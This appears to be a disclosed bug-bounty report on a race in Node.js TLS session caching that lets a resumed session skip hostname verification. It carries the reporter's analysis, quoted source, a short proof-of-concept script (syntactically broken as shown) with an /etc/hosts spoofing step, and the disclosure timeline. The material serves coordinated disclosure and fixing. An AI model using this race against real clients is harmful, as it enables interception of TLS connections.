Node.js: TLS session reuse can lead to hostname verification bypass

Share:

TIMELINE

fwilhelm submitted a report to Node.js. Mar 5th (3 years ago)

The Node.js TLS library supports client side reuse of TLS sessions when multiple connections to the same server are opened.

Code that wants to use this feature can listen for the 'session' event (https://nodejs.org/api/tls.html#tls_event_session) on a tls.TLSSocket to get notified of newly created TLS sessions. The documentation for this event explicitly mentions that the passed sessions "can be used immediately or later".

The problem with this design is that 'session' events are triggered even if verification of the server certificate hostname in onConnectSecure fails. (https://github.com/nodejs/node/blob/b1d4c13430c92e94920f0c8c9ba1295c075c9e89/lib/_tls_wrap.js#L1502):

onConnectSecure is triggered by the OpenSSL info callback (with the flag SSL_CB_HANDSHAKE_DONE) after a TLS handshake. The 'session' event is triggered by OpenSSLs get_session_cb, which can happen before the info callback in TLS 1.2 and after in TLS 1.3 and which is triggered regardless of the result of onConnectSecure.

This means that sessions where the server presented an invalid certificate, or one with a wrong hostname, will trigger the session event and can end up being reused or stored in a cache.

That behavior is insecure, because resumed sessions will not be subjected to another hostname verification check as long as they are CA signed:

```
// Verify that server's identity matches it's certificate's names
// Unless server has resumed our existing session
if (!verifyError && !this.isSessionReused()) {
const hostname = options.servername ||
options.host ||
(options.socket && options.socket._host) ||
'localhost';
const cert = this.getPeerCertificate(true);
verifyError = options.checkServerIdentity(hostname, cert);
}
```

In practice, this means that the immediate reuse described in the API documentation is always insecure and that session caches are at risk of storing insecure sessions. The most important implementation of a session cache is in the https library (https://github.com/nodejs/node/blob/b1d4c13430c92e94920f0c8c9ba1295c075c9e89/lib/https.js#L130): New sessions are stored in the cache when the 'session' event is triggered and are evicted once a tls socket is closed with an error.

```
if (options._agentKey) {
// Cache new session for reuse
socket.on('session', (session) => {
this._cacheSession(options._agentKey, session);
});

// Evict session on error
socket.once('close', (err) => {
if (err)
this._evictSession(options._agentKey);
});
}
```

This opens a small race window where an invalid session can be used by other HTTPs requests to the same host. The attached proof-of-concept wins the race reliably against a local server using a setImmediate() callback, but there are probably other ways this could be exploited in real world applications. I also did not fully investigate if there is a way to trigger the socket 'close' event with no error which would skip the session eviction and turn this into a 100% reliable bypass.

The POC requires a target server with a valid CA signed certificate (for an arbitrary hostname) and support for TLS resumption. I've attached a minimal golang https server that worked for me.

```
[fwilhelm@fwilhelm node]$ ../node/node-v13.9.0-linux-x64/bin/node poc.js
[!] First request failed:Host: nodejs.org. is not in the cert's altnames: DNS:loca.host
[x] Starting second request
[x] Dumping globalAgent._sessionCache.map:
{
'nodejs.org:8444:::::::::::::::TLSv1_2_method:': <Buffer 30 82 06 2f 02 01 01 02 02 03 04 04 02 13 01 04 20 cd b7 17 84 ac 9f 31 6f 1c cc 73 de 31 05 eb dc 60 62 df c7 c5 d5 8c b4 75 cc a7 28 1f d9 c0 22 04 ... 1537 more bytes>
}
[!] Bypassed hostname verification. Server response: 200
{
date: 'Thu, 05 Mar 2020 17:08:24 GMT',
'content-length': '29',
'content-type': 'text/plain; charset=utf-8',
connection: 'close'
}
```

This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-06-03. Disclosure at an earlier date is also possible if agreed upon by all parties.

2 attachments:
F738445: poc.js
F738446: server.go

indutny posted a comment. Mar 5th (3 years ago)

Hello!

Thank you for the report and your research.

Could you advise us which Node.js version did you find vulnerable to this? I've tried to reproduce it on v12.13.1, but it just doesn't seem to work.

Is it important to use `go` server for reproduction?

fwilhelm posted a comment. Mar 6th (3 years ago)

Hey,

I've tested this with v13.9.0 (which was current when I started looking into this).

It is important that the repro server runs locally (otherwise the timing is probably wrong) and that it supports session resumption for TLS 1.2 (go does that out of the box, I believe node requires configuring a session store). Other than that there is nothing special about the go server.

Could you paste the script output that you are seeing?

beagle posted a comment. Mar 6th (3 years ago)

Hi @fwilhelm,

Thank you for your submission. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.

Kind regards,
@beagle

beagle changed the status to **Triaged**. Mar 6th (3 years ago)

I was able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know the final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.

Kind regards,
@beagle

indutny posted a comment. Mar 17th (3 years ago)

I can reproduce the issue now using updated `poc.js`:

Code 1.33 KiB Wrap lines Copy Download

```
// echo '127.0.0.1 nodejs.org' >> /etc/hosts
// run an https server on localhost:8444
// serving an CA signed cert for an arbitrary domain
//
// ./node-v13.9.0-linux-x64/bin/node poc.js

const https = require('https');

const options = {
  hostname: 'kubernetes.docker.internal',
  port: 8444,
  path: '/hello',
  method: 'GET',
  // note that this is not required for the bug to work but it makes reproducing it easier.
  secureProtocol: 'TLSv1_2_method'
 };


 const req = https.request(options, (res) => {
   res.on('data', (d) => {
     assert(0, "First request should always fail in a correct setup")
   });
 });

 req.on('error', (e) => {
   console.log("[!] First request failed:" + e.reason);
   setImmediate(() => { doit() });
 });
 req.end();


 function doit() {
   console.log("[x] Starting second request");
   console.log("[x] Dumping globalAgent._sessionCache.map:")
   console.log(https.globalAgent._sessionCache.map)

   const req2 = https.request(options, (res) => {
      process.stdout.write(d);
      process.exit(1);
    });
  });

  req2.on('error', (e) => {
    console.log("[-] Second request failed:" + e);
    console.log("[-] Race failed or not vulnerable.")
    process.exit(0);
  });
  req2.end();


}
```

Note the `secureProtocol` option above. The session management is different for TLS1.3 so it is indeed necessary to force it down to at least 1.2 to reproduce the issue.

indutny posted a comment. Mar 17th (3 years ago)

I have a preliminary patch that should fix the issue. Working on the test case for the Node.js test suite.

Sorry for the delay!

fwilhelm posted a comment. Mar 30th (3 years ago)

Hi Fedor,

I hope you are doing well.
Any updates on this issue? Is there already an estimated date for the patch release?
Could you send me a copy of the patch so I can take a look? (fwilhelm@google.com).

Thanks.

Best,
Felix

indutny posted a comment. Mar 30th (3 years ago)

Hello Felix,

I've attached the latest patch to this message. Please let me know if you can't access it!

The review is still going on. We will post an update once we'll know the release date!

Thank you for your patience,
Fedor.

1 attachment:
F766542: 200.diff

octetcloud posted a comment. May 14th (3 years ago)

Can someone suggest the text to use for the CVE description? It must match this very specific format: `PROBLEM TYPE` in `PRODUCT/VERSION` causes `IMPACT` when `ATTACK`

octetcloud posted a comment. May 14th (3 years ago)

What is suggested CVSS rating for this?

fwilhelm posted a comment. May 28th (3 years ago)

Apologies, I missed the updates on this.
@indutny The patch looks good to me. We are pretty close to the 90 day deadline (2020-06-03), do you plan to release the update before that date? (In case it is necessary, we do offer a 14-day grace extension if a patch is planned to be released within the 2 weeks following the original deadline.)

@octetcloud Maybe something like "Race Condition in Node.JS XY TLS Session Handling causes hostname verification bypass" for the CVE description? No idea re CVSS rating.

octetcloud posted a comment. May 28th (3 years ago)

My apologies, there is a lot of manual notifications and coordinations in our process, and telling all the reporters of the release date is missing from it ATM.

Fix is planned for June 2nd.

Announcement: https://nodejs.org/en/blog/vulnerability/june-2020-security-releases/

It doesn't mention this report specifically of course.

octetcloud closed the report and changed the status to **Resolved**. Jun 2nd (3 years ago)

https://nodejs.org/en/blog/vulnerability/june-2020-security-releases/

octetcloud requested to disclose this report. Jun 2nd (3 years ago)

fwilhelm agreed to disclose this report. Jun 3rd (3 years ago)

The Internet Bug Bounty rewarded fwilhelm with a **$250** bounty. Jul 15th (2 years ago)